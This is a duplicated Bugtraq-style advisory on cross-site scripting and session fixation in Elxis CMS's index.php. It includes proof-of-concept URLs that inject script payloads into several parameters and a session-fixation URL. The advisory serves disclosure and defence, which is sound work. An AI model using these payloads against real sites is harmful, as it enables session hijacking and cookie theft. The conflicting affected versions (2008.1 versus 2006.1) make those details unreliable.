Elxis CMS 'index.php' Multiple Cross Site Scripting and Session Fixation Vulnerabilities
BID:31764
Info
Elxis CMS 'index.php' Multiple Cross Site Scripting and Session Fixation Vulnerabilities
| Bugtraq ID: | 31764 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-4649 CVE-2008-4648 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 14 2008 12:00AM |
| Updated: | Jul 05 2016 10:01PM |
| Credit: | swappie aka faithlove |
| Vulnerable: |
Elxis Elxis CMS 2008.1 |
| Not Vulnerable: | |
Discussion
Elxis CMS 'index.php' Multiple Cross Site Scripting and Session Fixation Vulnerabilities
Elxis CMS is prone to multiple cross-site scripting and session-fixation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The application is also prone to a session-fixation vulnerability.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Using the session-fixation issue, the attacker can hijack the session and gain unauthorized access to the affected application.
Elxis CMS 2006.1 is vulnerable; other versions may also be affected.
Elxis CMS is prone to multiple cross-site scripting and session-fixation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The application is also prone to a session-fixation vulnerability.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Using the session-fixation issue, the attacker can hijack the session and gain unauthorized access to the affected application.
Elxis CMS 2006.1 is vulnerable; other versions may also be affected.
Exploit / POC
Elxis CMS 'index.php' Multiple Cross Site Scripting and Session Fixation Vulnerabilities
To exploit these issues an attacker entices an unsuspecting user into following a malicious URI.
The following example URIs are available for the cross-site scripting issues:
http://www.example.net/index.php?>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&task=view&id=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=1&task=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&task=view&bid=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=1&task=view&contact_id=>"><script>alert("XSS Vuln")</script>
The following example URI is available for the session-fixation attack:
http://www.site.com/?PHPSESSID=[session_fixation]
To exploit these issues an attacker entices an unsuspecting user into following a malicious URI.
The following example URIs are available for the cross-site scripting issues:
http://www.example.net/index.php?>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&task=view&id=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=1&task=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&task=view&bid=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=1&task=view&contact_id=>"><script>alert("XSS Vuln")</script>
The following example URI is available for the session-fixation attack:
http://www.site.com/?PHPSESSID=[session_fixation]
Solution / Fix
Elxis CMS 'index.php' Multiple Cross Site Scripting and Session Fixation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Elxis CMS 'index.php' Multiple Cross Site Scripting and Session Fixation Vulnerabilities
References:
References:
- Elxis CMS Homepage (Elxis )